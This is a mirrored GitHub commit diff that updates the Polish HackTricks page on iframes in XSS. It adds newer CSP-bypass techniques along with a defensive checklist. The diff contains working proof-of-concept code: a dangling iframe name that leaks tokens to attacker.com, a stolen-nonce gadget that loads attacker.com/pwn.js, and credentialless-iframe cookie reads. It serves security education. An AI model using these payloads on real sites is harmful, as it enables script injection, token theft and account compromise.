mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-
This commit is contained in:
parent
a871f6555c
commit
3053d78cd6
@ -4,7 +4,7 @@
|
||||
|
||||
## Iframes w XSS
|
||||
|
||||
Istnieją 3 sposoby wskazania zawartości strony w iframe:
|
||||
Istnieją 3 sposoby na wskazanie zawartości strony w iframie:
|
||||
|
||||
- Poprzez `src` wskazujący URL (URL może być cross origin lub same origin)
|
||||
- Poprzez `src` wskazujący zawartość za pomocą protokołu `data:`
|
||||
@ -45,7 +45,7 @@ var secret = "child secret"
|
||||
alert(parent.secret)
|
||||
</script>
|
||||
```
|
||||
Jeśli uzyskasz dostęp do poprzedniego html za pomocą serwera http (takiego jak `python3 -m http.server`), zauważysz, że wszystkie skrypty będą wykonywane (ponieważ nie ma CSP, które by temu zapobiegało). **Rodzic nie będzie mógł uzyskać dostępu do zmiennej `secret` wewnątrz żadnego iframe** i **tylko iframes if2 i if3 (które są uważane za tej samej witryny) mogą uzyskać dostęp do secret** w oryginalnym oknie.\
|
||||
Jeśli uzyskasz dostęp do poprzedniego html za pomocą serwera http (takiego jak `python3 -m http.server`), zauważysz, że wszystkie skrypty będą wykonywane (ponieważ nie ma CSP, które by temu zapobiegało). **Rodzic nie będzie mógł uzyskać dostępu do zmiennej `secret` wewnątrz żadnego iframe** i **tylko iframes if2 i if3 (które są uważane za tej samej witryny) mogą uzyskać dostęp do sekretu** w oryginalnym oknie.\
|
||||
Zauważ, że if4 jest uważany za mający `null` origin.
|
||||
|
||||
### Iframes z CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||
@ -61,7 +61,7 @@ Dlatego możliwe jest obejście CSP strony za pomocą:
|
||||
<head>
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
|
||||
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
|
||||
</head>
|
||||
<script>
|
||||
var secret = "31337s3cr37t"
|
||||
@ -77,7 +77,7 @@ src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert
|
||||
</html>
|
||||
```
|
||||
Zauważ, że **poprzedni CSP zezwala tylko na wykonanie skryptu inline**.\
|
||||
Jednakże, **tylko skrypty `if1` i `if2` będą wykonywane, ale tylko `if1` będzie miało dostęp do tajemnicy rodzica**.
|
||||
Jednak **wykonane zostaną tylko skrypty `if1` i `if2`, ale tylko `if1` będzie miał dostęp do tajemnicy rodzica**.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -103,7 +103,43 @@ return "<script>alert(document.cookie)</script>"
|
||||
if __name__ == "__main__":
|
||||
app.run()
|
||||
```
|
||||
### Inne ładunki znalezione w dziczy <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
||||
#### Nowe (2023-2025) techniki omijania CSP z użyciem iframe
|
||||
|
||||
Społeczność badawcza nadal odkrywa kreatywne sposoby wykorzystywania iframe do pokonywania restrykcyjnych polityk. Poniżej znajdują się najbardziej znaczące techniki opublikowane w ciągu ostatnich kilku lat:
|
||||
|
||||
* **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** – Gdy aplikacja odzwierciedla HTML, ale silny CSP blokuje wykonanie skryptów, można nadal wyciekować wrażliwe tokeny, wstrzykując *dangling* `<iframe name>` atrybut. Gdy częściowy markup jest analizowany, skrypt atakującego działający w osobnym pochodzeniu nawiguję ramkę do `about:blank` i odczytuje `window.name`, które teraz zawiera wszystko do następnego znaku cudzysłowu (na przykład token CSRF). Ponieważ żaden JavaScript nie działa w kontekście ofiary, atak zazwyczaj omija `script-src 'none'`. Minimalny PoC to:
|
||||
|
||||
```html
|
||||
<!-- Punkt wstrzyknięcia tuż przed wrażliwym <script> -->
|
||||
<iframe name="//attacker.com/?"> <!-- atrybut celowo pozostawiony otwarty -->
|
||||
````
|
||||
```javascript
|
||||
// attacker.com frame
|
||||
const victim = window.frames[0];
|
||||
victim.location = 'about:blank';
|
||||
console.log(victim.name); // → wyciekła wartość
|
||||
```
|
||||
|
||||
* **Kradzież nonce za pomocą iframe o tym samym pochodzeniu (2024)** – Nonce CSP nie są usuwane z DOM; są jedynie ukryte w DevTools. Jeśli atakujący może wstrzyknąć *iframe o tym samym pochodzeniu* (na przykład przez przesłanie HTML na stronę), ramka podrzędna może po prostu zapytać `document.querySelector('[nonce]').nonce` i stworzyć nowe węzły `<script nonce>`, które spełniają politykę, dając pełne wykonanie JavaScript mimo `strict-dynamic`. Następujący gadżet eskaluje wstrzyknięcie markup do XSS:
|
||||
|
||||
```javascript
|
||||
const n = top.document.querySelector('[nonce]').nonce;
|
||||
const s = top.document.createElement('script');
|
||||
s.src = '//attacker.com/pwn.js';
|
||||
s.nonce = n;
|
||||
top.document.body.appendChild(s);
|
||||
```
|
||||
|
||||
* **Przechwytywanie form-action (PortSwigger 2024)** – Strona, która pomija dyrektywę `form-action`, może mieć swój formularz logowania *przeadresowany* z wstrzykniętego iframe lub inline HTML, tak aby menedżery haseł automatycznie wypełniały i przesyłały dane uwierzytelniające do zewnętrznej domeny, nawet gdy `script-src 'none'` jest obecny. Zawsze uzupełniaj `default-src` o `form-action`!
|
||||
|
||||
**Notatki obronne (szybka lista kontrolna)**
|
||||
|
||||
1. Zawsze wysyłaj *wszystkie* dyrektywy CSP, które kontrolują konteksty wtórne (`form-action`, `frame-src`, `child-src`, `object-src` itp.).
|
||||
2. Nie polegaj na tym, że nonce są tajne—używaj `strict-dynamic` **i** eliminuj punkty wstrzyknięcia.
|
||||
3. Gdy musisz osadzić nieufne dokumenty, używaj `sandbox="allow-scripts allow-same-origin"` **bardzo ostrożnie** (lub bez `allow-same-origin`, jeśli potrzebujesz tylko izolacji wykonania skryptów).
|
||||
4. Rozważ wdrożenie obrony w głębokości COOP+COEP; nowy atrybut `<iframe credentialless>` (§ poniżej) pozwala na to bez łamania osadzeń zewnętrznych.
|
||||
|
||||
### Inne ładunki znalezione w dziczy <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
|
||||
```html
|
||||
<!-- This one requires the data: scheme to be allowed -->
|
||||
<iframe
|
||||
@ -124,30 +160,38 @@ Gdy jest używany, atrybut `sandbox` nakłada kilka ograniczeń:
|
||||
- Zawartość jest traktowana tak, jakby pochodziła z unikalnego źródła.
|
||||
- Każda próba przesłania formularzy jest blokowana.
|
||||
- Wykonywanie skryptów jest zabronione.
|
||||
- Dostęp do niektórych API jest wyłączony.
|
||||
- Dostęp do niektórych interfejsów API jest wyłączony.
|
||||
- Zapobiega interakcji linków z innymi kontekstami przeglądania.
|
||||
- Użycie wtyczek za pomocą tagów `<embed>`, `<object>`, `<applet>` lub podobnych jest zabronione.
|
||||
- Użycie wtyczek za pomocą `<embed>`, `<object>`, `<applet>` lub podobnych tagów jest zabronione.
|
||||
- Nawigacja w górnym kontekście przeglądania przez samą zawartość jest zablokowana.
|
||||
- Funkcje, które są uruchamiane automatycznie, takie jak odtwarzanie wideo lub automatyczne skupienie na kontrolkach formularza, są blokowane.
|
||||
- Funkcje, które są uruchamiane automatycznie, takie jak odtwarzanie wideo czy automatyczne skupienie na kontrolkach formularza, są blokowane.
|
||||
|
||||
Wartość atrybutu może być pozostawiona pusta (`sandbox=""`), aby zastosować wszystkie powyższe ograniczenia. Alternatywnie, może być ustawiona na listę specyficznych wartości oddzielonych spacjami, które zwalniają iframe z niektórych ograniczeń.
|
||||
Tip: Nowoczesne przeglądarki obsługują szczegółowe flagi, takie jak `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation` itp. Połącz je, aby przyznać tylko minimalne możliwości wymagane przez osadzoną aplikację.
|
||||
|
||||
Wartość atrybutu może być pozostawiona pusta (`sandbox=""`), aby zastosować wszystkie powyższe ograniczenia. Alternatywnie, może być ustawiona na listę wartości oddzielonych spacjami, które zwalniają iframe z niektórych ograniczeń.
|
||||
```html
|
||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
|
||||
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
|
||||
```
|
||||
### Credentialless iframes
|
||||
|
||||
Jak wyjaśniono w [tym artykule](https://blog.slonser.info/posts/make-self-xss-great-again/), flaga `credentialless` w iframe jest używana do ładowania strony wewnątrz iframe bez wysyłania poświadczeń w żądaniu, jednocześnie zachowując politykę tego samego pochodzenia (SOP) załadowanej strony w iframe.
|
||||
Jak wyjaśniono w [tym artykule](https://blog.slonser.info/posts/make-self-xss-great-again/), flaga `credentialless` w iframe jest używana do ładowania strony wewnątrz iframe bez wysyłania poświadczeń w żądaniu, zachowując jednocześnie politykę tego samego pochodzenia (SOP) ładowanej strony w iframe.
|
||||
|
||||
To pozwala iframe na dostęp do wrażliwych informacji z innego iframe w tym samym SOP załadowanym na stronie nadrzędnej:
|
||||
Od **Chrome 110 (luty 2023) funkcja jest włączona domyślnie** i specyfikacja jest standaryzowana w przeglądarkach pod nazwą *anonymous iframe*. MDN opisuje to jako: „mechanizm do ładowania iframe'ów stron trzecich w nowej, efemerycznej partycji pamięci, aby żadne pliki cookie, localStorage ani IndexedDB nie były dzielone z rzeczywistym pochodzeniem”. Konsekwencje dla atakujących i obrońców:
|
||||
|
||||
* Skrypty w różnych iframe'ach bez poświadczeń **wciąż dzielą to samo pochodzenie na najwyższym poziomie** i mogą swobodnie wchodzić w interakcje za pośrednictwem DOM, co czyni ataki multi-iframe self-XSS wykonalnymi (zobacz PoC poniżej).
|
||||
* Ponieważ sieć jest **pozbawiona poświadczeń**, każde żądanie wewnątrz iframe działa efektywnie jako sesja nieautoryzowana – punkty końcowe chronione przed CSRF zazwyczaj zawodzą, ale publiczne strony, które można wyciekować za pośrednictwem DOM, wciąż są w zasięgu.
|
||||
* Wyskakujące okna generowane z iframe'a bez poświadczeń otrzymują domyślnie `rel="noopener"`, co łamie niektóre przepływy OAuth.
|
||||
```javascript
|
||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||||
alert(window.top[1].document.cookie);
|
||||
// PoC: two same-origin credentialless iframes stealing cookies set by a third
|
||||
window.top[1].document.cookie = 'foo=bar'; // write
|
||||
alert(window.top[2].document.cookie); // read -> foo=bar
|
||||
```
|
||||
- Przykład exploita: Self-XSS + CSRF
|
||||
|
||||
W tym ataku, atakujący przygotowuje złośliwą stronę internetową z 2 iframe'ami:
|
||||
|
||||
- Iframe, który ładuje stronę ofiary z flagą `credentialless` z CSRF, który wywołuje XSS (Wyobraź sobie Self-XSS w nazwie użytkownika):
|
||||
- Iframe, który ładuje stronę ofiary z flagą `credentialless` z CSRF, która wywołuje XSS (Wyobraź sobie Self-XSS w nazwie użytkownika):
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -201,4 +245,10 @@ Sprawdź następujące strony:
|
||||
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
## Odniesienia
|
||||
|
||||
* [PortSwigger Research – Wykorzystanie przechwytywania formularzy do obejścia CSP (marzec 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
|
||||
* [Chrome Developers – Iframe bez poświadczeń: Łatwe osadzanie iframe w środowiskach COEP (luty 2023)](https://developer.chrome.com/blog/iframe-credentialless)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user